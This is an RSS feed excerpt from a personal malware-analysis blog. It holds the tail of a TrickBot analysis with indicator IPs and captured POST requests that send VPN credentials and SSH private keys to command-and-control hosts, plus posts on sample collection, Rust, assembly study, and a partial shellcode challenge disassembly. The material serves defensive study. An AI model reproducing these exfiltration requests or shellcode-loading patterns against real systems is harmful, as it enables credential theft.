      &lt;th style=&quot;text-align: left&quot;&gt;Protocol&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Number of Packets&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;TCP&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1218&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SSL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;623&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;HTTP&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;10&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;indicators-of-compromise&quot;&gt;Indicators of Compromise&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;103.12.161.194&lt;/li&gt;
  &lt;li&gt;103.111.83.246&lt;/li&gt;
  &lt;li&gt;103.12.161.194&lt;/li&gt;
  &lt;li&gt;82.146.46.209&lt;/li&gt;
  &lt;li&gt;194.5.249.157&lt;/li&gt;
  &lt;li&gt;96.9.73.73&lt;/li&gt;
  &lt;li&gt;203.176.135.102&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;exfiltration&quot;&gt;Exfiltration&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /tot773/DESKTOP-2C3IQHO_W10016299.4059EF9DC2CA46AD60D2E0765459BD36/81/ HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=---------KNFVSHSAHHJUPYKX User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 194.5.249.157:443 Content-Length: 219 Connection: Close Cache-Control: no-cache -----------KNFVSHSAHHJUPYKX Content-Disposition: form-data; name=&quot;data&quot; -----------KNFVSHSAHHJUPYKX Content-Disposition: form-data; name=&quot;source&quot; OpenVPN passwords and configs -----------KNFVSHSAHHJUPYKX--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /tot773/DESKTOP-2C3IQHO_W10016299.4059EF9DC2CA46AD60D2E0765459BD36/83/ HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=---------OCPLLBXQPEACMBMT User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 194.5.249.157:443 Content-Length: 473 Connection: Close Cache-Control: no-cache -----------OCPLLBXQPEACMBMT Content-Disposition: form-data; name=&quot;formdata&quot; {&quot;descr&quot;:[&quot;NordVPN&quot;],&quot;dns1&quot;:[&quot;103.86.99.100&quot;],&quot;email&quot;:[&quot;USERNAME&quot;],&quot;q&quot;:[&quot;microsoft office&quot;],&quot;search&quot;:[&quot;91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3&quot;],&quot;usernamefld&quot;:[&quot;admin&quot;]}-----------OCPLLBXQPEACMBMT Content-Disposition: form-data; name=&quot;billinfo&quot; {]}-----------OCPLLBXQPEACMBMT Content-Disposition: form-data; name=&quot;cardinfo&quot; {]} -----------OCPLLBXQPEACMBMT--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /tot773/DESKTOP-2C3IQHO_W10016299.4059EF9DC2CA46AD60D2E0765459BD36/81/ HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=---------IMJCMDOMDOMKUGNM User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 96.9.73.73 Content-Length: 219 Connection: Close Cache-Control: no-cache -----------IMJCMDOMDOMKUGNM Content-Disposition: form-data; name=&quot;data&quot; -----------IMJCMDOMDOMKUGNM Content-Disposition: form-data; name=&quot;source&quot; OpenVPN passwords and configs -----------IMJCMDOMDOMKUGNM--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /tot773/DESKTOP-2C3IQHO_W10016299.4059EF9DC2CA46AD60D2E0765459BD36/81/ HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=---------OTTNHTNLBMUSVCXD User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 194.5.249.157:443 Content-Length: 210 Connection: Close Cache-Control: no-cache -----------OTTNHTNLBMUSVCXD Content-Disposition: form-data; name=&quot;data&quot; -----------OTTNHTNLBMUSVCXD Content-Disposition: form-data; name=&quot;source&quot; OpenSSH private keys -----------OTTNHTNLBMUSVCXD--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /tot773/DESKTOP-2C3IQHO_W10016299.4059EF9DC2CA46AD60D2E0765459BD36/83/ HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=---------QAKGETNFFXRQJOMX User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 96.9.73.73 Content-Length: 473 Connection: Close Cache-Control: no-cache -----------QAKGETNFFXRQJOMX Content-Disposition: form-data; name=&quot;formdata&quot; {&quot;descr&quot;:[&quot;NordVPN&quot;],&quot;dns1&quot;:[&quot;103.86.99.100&quot;],&quot;email&quot;:[&quot;USERNAME&quot;],&quot;q&quot;:[&quot;microsoft office&quot;],&quot;search&quot;:[&quot;91beb7c43da3dd723c9d44629ab656b4f913c5ec111d1d362279938645f7edd3&quot;],&quot;usernamefld&quot;:[&quot;admin&quot;]}-----------QAKGETNFFXRQJOMX Content-Disposition: form-data; name=&quot;billinfo&quot; {]}-----------QAKGETNFFXRQJOMX Content-Disposition: form-data; name=&quot;cardinfo&quot; {]} -----------QAKGETNFFXRQJOMX--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /tot773/DESKTOP-2C3IQHO_W10016299.4059EF9DC2CA46AD60D2E0765459BD36/81/ HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=---------BSBWMEZDSAFVUJLA User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 96.9.73.73 Content-Length: 210 Connection: Close Cache-Control: no-cache -----------BSBWMEZDSAFVUJLA Content-Disposition: form-data; name=&quot;data&quot; -----------BSBWMEZDSAFVUJLA Content-Disposition: form-data; name=&quot;source&quot; OpenSSH private keys -----------BSBWMEZDSAFVUJLA--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Thu, 30 Jul 2020 22:30:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/Malware-Analysis-TrickBot/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/Malware-Analysis-TrickBot/</guid>
        
        <category>malware_analysis</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>Obtaining malware</title>
        <description>&lt;p&gt;In preparation to step my reversing game up I have decided to setup some infrastructure and tools to make it easier to jump straight into malware.&lt;/p&gt;

&lt;p&gt;I have a dedicated lab system and in Virtualbox I have pfSense VM that automatically connects to a VPN provider and supplies a network for the following VMs:
Windows, &lt;a href=&quot;https://remnux.org/&quot;&gt;Remnux&lt;/a&gt;, and &lt;a href=&quot;https://securityonion.net/&quot;&gt;Security Onion&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Both REMnux and Security Onion just released major updates, definitely check them out.&lt;/p&gt;

&lt;p&gt;Having the sysytems ready, snapshots taken, I just need a way to obtain malware.
Previously I would use &lt;a href=&quot;https://malshare.com/&quot;&gt;Malshare&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Don’t get me wrong, malshare is great, however the submissions arent necessarily “Malicious”.
Recently the folks over at Abuse.ch came out with &lt;a href=&quot;https://bazaar.abuse.ch/&quot;&gt;MalwareBazaar&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What sets MalwareBazaar apart from Malshare is that MalwareBazaar does not accept Adware or PUP/PUA uploads, and typically only accepts new samples.&lt;/p&gt;

&lt;p&gt;Being me I can’t just be satisfied with a great website, luckily MalwareBazaar has a great API I can take advantage of.
Ive created a quick little cli tool in python to help me grab some of that sweet sweet malware.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/bizarrechaos/malwarebazaar-cli&quot;&gt;malwarebazaar-cli&lt;/a&gt;&lt;/p&gt;

&lt;script id=&quot;asciicast-wX83L7p1l75TkZcYxqvtcBSc6&quot; src=&quot;https://asciinema.org/a/wX83L7p1l75TkZcYxqvtcBSc6.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Now that you’ve obtained your malware what do you do with it. Do you have a special harddrive to store it on? Do you only keep it until you have analysed it?
Personally I’m a bit of a horder, so I like to store mine in &lt;a href=&quot;https://github.com/countercept/snake&quot;&gt;snake&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Snake allows me to store malware as well as my analysis notes and it will even perform basic static analysis on the files with plugins called scales.&lt;/p&gt;

&lt;p&gt;I will try to post some analysis blogs in the future showcasing the usage of these tools.&lt;/p&gt;
</description>
        <pubDate>Thu, 23 Jul 2020 00:16:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/Obtaining-malware/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/Obtaining-malware/</guid>
        
        <category>python</category>
        
        <category>tools</category>
        
        <category>cli</category>
        
        <category>re</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>Adventures in rust</title>
        <description>&lt;p&gt;It has been awhile since my last post.
I need to jump back into the RE excercises and get some of that documented, however lately I have been diving into rust.&lt;/p&gt;

&lt;p&gt;Most of my programming/coding previously has been in python.
Don’t get wrong, I love and still use and write python daily, however I wanted something different.&lt;/p&gt;

&lt;p&gt;Recently I’ve been playing with rust.
Rust is a compiled language that is built for security and speed.
While none of the concepts I know and love really translate to rust I thought it was something I wanted to take on.
I have been following the official &lt;a href=&quot;https://doc.rust-lang.org/stable/book/&quot;&gt;The Rust Programming Language Book&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So far it has been a great expierence and I look forward to developing some new tools.
My first project is something I have wanted for awhile (and there are likely alternative already out there).
I wrote a script in python a few years ago to take a filepath and print multiple hashes for that file.
It worked without issue, the problem was the speed at which it ran.
This wasn’t an issue unless you wanted to has several files all at once, a common task for the budding malware analyst.
So doing some research I looked into rust and discovered I could do what I wanted in rust, and I could do it fast.&lt;/p&gt;

&lt;p&gt;Introducing &lt;a href=&quot;https://github.com/bizarrechaos/hashy&quot;&gt;hashy&lt;/a&gt;&lt;/p&gt;

&lt;script id=&quot;asciicast-Ov8vSYAtuvBdJGvmE1lnmBMWd&quot; src=&quot;https://asciinema.org/a/Ov8vSYAtuvBdJGvmE1lnmBMWd.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Feel free to check it out and contribute if you feel inclined.
I have absolutely no idea what I am doing in rust so I expect this can be made exceptionally better.&lt;/p&gt;
</description>
        <pubDate>Wed, 17 Jun 2020 19:54:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/Adventures-in-rust/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/Adventures-in-rust/</guid>
        
        <category>cli</category>
        
        <category>tools</category>
        
        <category>rust</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>Adventures in Assembly</title>
        <description>&lt;p&gt;For the past month I have been on a journey, an adventure even, to learn assembly code (x86 specifically).
The end result is to be able to read assembly code and move into more in depth malware analysis.&lt;/p&gt;

&lt;p&gt;I found an online course that I think is great so far:
&lt;a href=&quot;https://www.udemy.com/x86-asm-foundations/?couponCode=xorpd_website_20&quot;&gt;‘xorpd - Assembly Language Adventures: Complete’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The author and instructor xorpd has a great site as well:
&lt;a href=&quot;https://www.xorpd.net/&quot;&gt;‘xorpd.net’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On his site you can find some great references for Assembly Language.
The course will take you from 0 knowledge about computers to a very good foundation in x86 Assembly.
He does stick with Windows and FASM in his course, but most of the excercises have been translated to YASM and will run on linux.&lt;/p&gt;

&lt;p&gt;I also came across a neat little go program that helps to emulate x86 or x64 systems and gives you visual representation of the registers and stack as you enter instructions.
It is kind of like an assembly language interpreter or cli.
&lt;a href=&quot;https://github.com/cch123/asm-cli&quot;&gt;‘asm-cli’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is an example of it in action:&lt;/p&gt;

&lt;script id=&quot;asciicast-sIksRB2w7zWKa17ruIkqVjOyI&quot; src=&quot;https://asciinema.org/a/sIksRB2w7zWKa17ruIkqVjOyI.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;p&gt;Pretty useful if you want to determine the value a register has after a few instructions.&lt;/p&gt;

&lt;p&gt;So far everything I have disassembled has been pretty basic code.&lt;/p&gt;

&lt;p&gt;With the resources above, and through continued learning, I hope to be able to dive into more complex code.&lt;/p&gt;

&lt;p&gt;I will be blogging about some more challenges soon hopefully.&lt;/p&gt;

&lt;p&gt;I may make a post or two about xorpd’s “xchg rax,rax” musings you can find on his website.&lt;/p&gt;
</description>
        <pubDate>Sat, 06 Jul 2019 22:00:00 +0000</pubDate>
        <link>https://bizarrechaos.com/posts/Adventures-in-Assembly/</link>
        <guid isPermaLink="true">https://bizarrechaos.com/posts/Adventures-in-Assembly/</guid>
        
        <category>re</category>
        
        <category>asm</category>
        
        
        <category>posts</category>
        
      </item>
    
      <item>
        <title>MalwareTech Challenge - shellcode2.exe</title>
        <description>&lt;p&gt;I have been teaching myself to reverse engineer binary programs so that I can use these skills to reverse engineer malware.
I have been learning assembly code, and playing with new tools such as ghidra and radare2/cutter.&lt;/p&gt;

&lt;p&gt;I found that &lt;a href=&quot;https://twitter.com/MalwareTechBlog&quot;&gt;@MalwareTech&lt;/a&gt; had some great binary analysis challenges on his blog and decided to check them out.&lt;/p&gt;

&lt;p&gt;This write up covers the fifth challenge shellcode2.exe: &lt;a href=&quot;https://www.malwaretech.com/challenges-shellcode2&quot;&gt;‘https://www.malwaretech.com/challenges-shellcode2’&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets open this binary in cutter and analyze it with radare2.
Lets take a look at the entry function:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;/ (fcn) entry0 342
|   entry0 ();
|           ; var LPVOID s1 @ ebp-0xc0
|           ; var LPCSTR lpText @ ebp-0xbc
|           ; var int32_t var_b8h @ ebp-0xb8
|           ; var int32_t var_28h @ ebp-0x28
|           ; var int32_t var_27h @ ebp-0x27
|           ; var int32_t var_26h @ ebp-0x26
|           ; var int32_t var_25h @ ebp-0x25
|           ; var int32_t var_24h @ ebp-0x24
|           ; var int32_t var_23h @ ebp-0x23
|           ; var int32_t var_22h @ ebp-0x22
|           ; var int32_t var_21h @ ebp-0x21
|           ; var int32_t var_20h @ ebp-0x20
|           ; var int32_t var_1fh @ ebp-0x1f
|           ; var int32_t var_1eh @ ebp-0x1e
|           ; var int32_t var_1dh @ ebp-0x1d
|           ; var int32_t var_1ch @ ebp-0x1c
|           ; var int32_t var_1bh @ ebp-0x1b
|           ; var int32_t var_1ah @ ebp-0x1a
|           ; var int32_t var_19h @ ebp-0x19
|           ; var int32_t var_18h @ ebp-0x18
|           ; var int32_t var_17h @ ebp-0x17
|           ; var int32_t var_16h @ ebp-0x16
|           ; var int32_t var_15h @ ebp-0x15
|           ; var int32_t var_14h @ ebp-0x14
|           ; var int32_t var_13h @ ebp-0x13
|           ; var int32_t var_12h @ ebp-0x12
|           ; var int32_t var_11h @ ebp-0x11
|           ; var int32_t var_10h @ ebp-0x10
|           ; var int32_t var_fh @ ebp-0xf
|           ; var int32_t var_eh @ ebp-0xe
|           ; var int32_t var_dh @ ebp-0xd
|           ; var int32_t var_ch @ ebp-0xc
|           ; var int32_t var_bh @ ebp-0xb
|           ; var int32_t var_ah @ ebp-0xa
|           ; var int32_t var_9h @ ebp-0x9
|           ; var int32_t var_8h @ ebp-0x8
|           ; var int32_t var_7h @ ebp-0x7
|           ; var int32_t var_6h @ ebp-0x6
|           ; var int32_t var_5h @ ebp-0x5
|           ; var LPVOID var_4h @ ebp-0x4
|           0x00402270      push ebp
|           0x00402271      mov  ebp, esp
|           0x00402273      sub  esp, 0xc0
|           0x00402279      lea  ecx, [var_b8h]
|           0x0040227f      call sym.shellcode2.exe___0MD5__QAE_XZ
|           0x00402284      mov  byte [var_28h], 0x12 ; 18
|           0x00402288      mov  byte [var_27h], 0x24 ; '$' ; 36
|           0x0040228c      mov  byte [var_26h], 0x28 ; '(' ; 40
|           0x00402290      mov  byte [var_25h], 0x34 ; '4' ; 52
|           0x00402294      mov  byte [var_24h], 0x5b ; '[' ; 91
|           0x00402298      mov  byte [var_23h], 0x23 ; '#' ; 35
|           0x0040229c      mov  byte [var_22h], 0x26 ; '&amp;amp;' ; 38
|           0x004022a0      mov  byte [var_21h], 0x20 ; 32
|           0x004022a4      mov  byte [var_20h], 0x35 ; '5' ; 53
|           0x004022a8      mov  byte [var_1fh], 0x37 ; '7' ; 55
|           0x004022ac      mov  byte [var_1eh], 0x4c ; 'L' ; 76
|           0x004022b0      mov  byte [var_1dh], 0x28 ; '(' ; 40
|           0x004022b4      mov  byte [var_1ch], 0x76 ; 'v' ; 118
|           0x004022b8      mov  byte [var_1bh], 0x26 ; '&amp;amp;' ; 38
|           0x004022bc      mov  byte [var_1ah], 0x33 ; '3' ; 51
|           0x004022c0      mov  byte [var_19h], 0x37 ; '7' ; 55
|           0x004022c4      mov  byte [var_18h], 0x3a ; ':' ; 58
|           0x004022c8      mov  byte [var_17h], 0x27 ; ''' ; 39
|           0x004022cc      mov  byte [var_16h], 0x3d ; '=' ; 61
|           0x004022d0      mov  byte [var_15h], 0x6e ; 'n' ; 110
|           0x004022d4      mov  byte [var_14h], 0x25 ; '%' ; 37
|           0x004022d8      mov  byte [var_13h], 0x48 ; 'H' ; 72
|           0x004022dc      mov  byte [var_12h], 0x6f ; 'o' ; 111
|           0x004022e0      mov  byte [var_11h], 0x3c ; '&amp;lt;' ; 60
|           0x004022e4      mov  byte [var_10h], 0x58 ; 'X' ; 88
|           0x004022e8      mov  byte [var_fh], 0x3a ; ':' ; 58
|           0x004022ec      mov  byte [var_eh], 0x68 ; 'h' ; 104
|           0x004022f0      mov  byte [var_dh], 0x2c ; ',' ; 44
|           0x004022f4      mov  byte [var_ch], 0x43 ; 'C' ; 67
|           0x004022f8      mov  byte [var_bh], 0x73 ; 's' ; 115
|           0x004022fc      mov  byte [var_ah], 0x10 ; 16
|           0x00402300      mov  byte [var_9h], 0xe ; 14
|           0x00402304      mov  byte [var_8h], 0x10 ; 16
|           0x00402308      mov  byte [var_7h], 0x6b ; 'k' ; 107
|           0x0040230c      mov  byte [var_6h], 0x10 ; 16
|           0x00402310      mov  byte [var_5h], 0x6f ; 'o' ; 111
|           0x00402314      push 0x10 ; 16
|           0x00402316      push 0 ; DWORD dwFlags
|           0x00402318      call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; 0x403010 ; &quot;,1&quot; ; HANDLE GetProcessHeap(void)
|           0x0040231e      push eax ; HANDLE hHeap
|           0x0040231f      call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; 0x40300c ; &quot; 1&quot; ; LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
|           0x00402325      mov  dword [var_4h], eax
|           0x00402328      mov  eax, dword [var_4h]
|           0x0040232b      mov  ecx, dword sym.imp.KERNEL32.dll_LoadLibraryA ; [0x403008:4]=0x3110 reloc.KERNEL32.dll_LoadLibraryA
|           0x00402331      mov  dword [eax], ecx
|           0x00402333      mov  edx, dword [var_4h]
|           0x00402336      mov  eax, dword sym.imp.KERNEL32.dll_GetProcAddress ; [0x403004:4]=0x30fe reloc.KERNEL32.dll_GetProcAddress
|           0x0040233b      mov  dword [edx + 4], eax
|           0x0040233e      mov  ecx, dword [var_4h]
|           0x00402341      lea  edx, [var_28h]
|           0x00402344      mov  dword [ecx + 8], edx
|           0x00402347      mov  eax, dword [var_4h]
|           0x0040234a      mov  dword [eax + 0xc], 0x24 ; '$' ; [0x24:4]=-1 ; 36
|           0x00402351      push 0x40 ; '@' ; 64 ; DWORD flProtect
|           0x00402353      push 0x1000 ; DWORD flAllocationType
|           0x00402358      push 0x248 ; 584 ; SIZE_T dwSize
|           0x0040235d      push 0 ; LPVOID lpAddress
|           0x0040235f      call dword [sym.imp.KERNEL32.dll_VirtualAlloc] ; 0x403000 ; LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|           0x00402365      mov  dword [s1], eax
|           0x0040236b      push 0x248 ; 584 ; size_t n
|           0x00402370      push 0x404040 ; '@@@' ; &quot;U\x89\xe5\x81\xec\xbc\x01&quot; ; const void *s2
|           0x00402375      mov  ecx, dword [s1]
|           0x0040237b      push ecx ; void *s1
|           0x0040237c      call sub.ntdll.dll_memcpy ; void *memcpy(void *s1, const void *s2, size_t n)
|           0x00402381      add  esp, 0xc
|           0x00402384      push dword [var_4h]
|           0x00402387      call dword [s1]
|           0x0040238d      lea  edx, [var_28h]
|           0x00402390      push edx
|           0x00402391      lea  ecx, [var_b8h]
|           0x00402397      call sym.shellcode2.exe__digestString_MD5__QAEPADPAD_Z
|           0x0040239c      mov  dword [lpText], eax
|           0x004023a2      push 0x30 ; '0' ; 48 ; UINT uType
|           0x004023a4      push str.We_ve_been_compromised ; 0x403038 ; &quot;We've been compromised!&quot; ; LPCSTR lpCaption
|           0x004023a9      mov  eax, dword [lpText]
|           0x004023af      push eax ; LPCSTR lpText
|           0x004023b0      push 0 ; HWND hWnd
|           0x004023b2      call dword [sym.imp.USER32.dll_MessageBoxA] ; 0x40301c ; &quot;~1&quot; ; int MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
|           0x004023b8      push 0 ; UINT uExitCode
|           0x004023ba      call dword [sym.imp.KERNEL32.dll_ExitProcess] ; 0x403014 ; void ExitProcess(UINT uExitCode)
|           0x004023c0      xor  eax, eax
|           0x004023c2      mov  esp, ebp
|           0x004023c4      pop  ebp
\           0x004023c5      ret
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Right away it looks like we are dealing with quite a few variables.
Lets look at the meat and potatoes:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x00402314      push 0x10 ; 16
|           0x00402316      push 0 ; DWORD dwFlags
|           0x00402318      call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; 0x403010 ; &quot;,1&quot; ; HANDLE GetProcessHeap(void)
|           0x0040231e      push eax ; HANDLE hHeap
|           0x0040231f      call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; 0x40300c ; &quot; 1&quot; ; LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
|           0x00402325      mov  dword [var_4h], eax
|           0x00402328      mov  eax, dword [var_4h]
|           0x0040232b      mov  ecx, dword sym.imp.KERNEL32.dll_LoadLibraryA ; [0x403008:4]=0x3110 reloc.KERNEL32.dll_LoadLibraryA
|           0x00402331      mov  dword [eax], ecx
|           0x00402333      mov  edx, dword [var_4h]
|           0x00402336      mov  eax, dword sym.imp.KERNEL32.dll_GetProcAddress ; [0x403004:4]=0x30fe reloc.KERNEL32.dll_GetProcAddress
|           0x0040233b      mov  dword [edx + 4], eax
|           0x0040233e      mov  ecx, dword [var_4h]
|           0x00402341      lea  edx, [var_28h]
|           0x00402344      mov  dword [ecx + 8], edx
|           0x00402347      mov  eax, dword [var_4h]
|           0x0040234a      mov  dword [eax + 0xc], 0x24 ; '$' ; [0x24:4]=-1 ; 36
|           0x00402351      push 0x40 ; '@' ; 64 ; DWORD flProtect
|           0x00402353      push 0x1000 ; DWORD flAllocationType
|           0x00402358      push 0x248 ; 584 ; SIZE_T dwSize
|           0x0040235d      push 0 ; LPVOID lpAddress
|           0x0040235f      call dword [sym.imp.KERNEL32.dll_VirtualAlloc] ; 0x403000 ; LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|           0x00402365      mov  dword [s1], eax
|           0x0040236b      push 0x248 ; 584 ; size_t n
|           0x00402370      push 0x404040 ; '@@@' ; &quot;U\x89\xe5\x81\xec\xbc\x01&quot; ; const void *s2
|           0x00402375      mov  ecx, dword [s1]
|           0x0040237b      push ecx ; void *s1
|           0x0040237c      call sub.ntdll.dll_memcpy ; void *memcpy(void *s1, const void *s2, size_t n)
|           0x00402381      add  esp, 0xc
|           0x00402384      push dword [var_4h]
|           0x00402387      call dword [s1]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Right away a lot of this looks very familiar to the last challenge.
We are grabbing the heap and allocating a piece of it:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x00402314      push 0x10 ; 16
|           0x00402316      push 0 ; DWORD dwFlags
|           0x00402318      call dword [sym.imp.KERNEL32.dll_GetProcessHeap] ; 0x403010 ; &quot;,1&quot; ; HANDLE GetProcessHeap(void)
|           0x0040231e      push eax ; HANDLE hHeap
|           0x0040231f      call dword [sym.imp.KERNEL32.dll_HeapAlloc] ; 0x40300c ; &quot; 1&quot; ; LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
|           0x00402325      mov  dword [var_4h], eax
|           0x00402328      mov  eax, dword [var_4h]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The heap is then taken from the eax register and stored in a dword var_4h and then put back into eax.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x0040232b      mov  ecx, dword sym.imp.KERNEL32.dll_LoadLibraryA ; [0x403008:4]=0x3110 reloc.KERNEL32.dll_LoadLibraryA
|           0x00402331      mov  dword [eax], ecx
|           0x00402333      mov  edx, dword [var_4h]
|           0x00402336      mov  eax, dword sym.imp.KERNEL32.dll_GetProcAddress ; [0x403004:4]=0x30fe reloc.KERNEL32.dll_GetProcAddress
|           0x0040233b      mov  dword [edx + 4], eax
|           0x0040233e      mov  ecx, dword [var_4h]
|           0x00402341      lea  edx, [var_28h]
|           0x00402344      mov  dword [ecx + 8], edx
|           0x00402347      mov  eax, dword [var_4h]
|           0x0040234a      mov  dword [eax + 0xc], 0x24 ; '$' ; [0x24:4]=-1 ; 36
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It then looks like we are storing some functions as dwords and moving them to registers.
This looks to be getting our functions setup in our heap.&lt;/p&gt;

&lt;p&gt;After all of this we are allocating page space, copying our shellcode over, and then executing it.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;|           0x00402351      push 0x40 ; '@' ; 64 ; DWORD flProtect
|           0x00402353      push 0x1000 ; DWORD flAllocationType
|           0x00402358      push 0x248 ; 584 ; SIZE_T dwSize
|           0x0040235d      push 0 ; LPVOID lpAddress
|           0x0040235f      call dword [sym.imp.KERNEL32.dll_VirtualAlloc] ; 0x403000 ; LPVOID VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|           0x00402365      mov  dword [s1], eax
|           0x0040236b      push 0x248 ; 584 ; size_t n
|           0x00402370      push 0x404040 ; '@@@' ; &quot;U\x89\xe5\x81\xec\xbc\x01&quot; ; const void *s2
|           0x00402375      mov  ecx, dword [s1]
|           0x0040237b      push ecx ; void *s1
|           0x0040237c      call sub.ntdll.dll_memcpy ; void *memcpy(void *s1, const void *s2, size_t n)
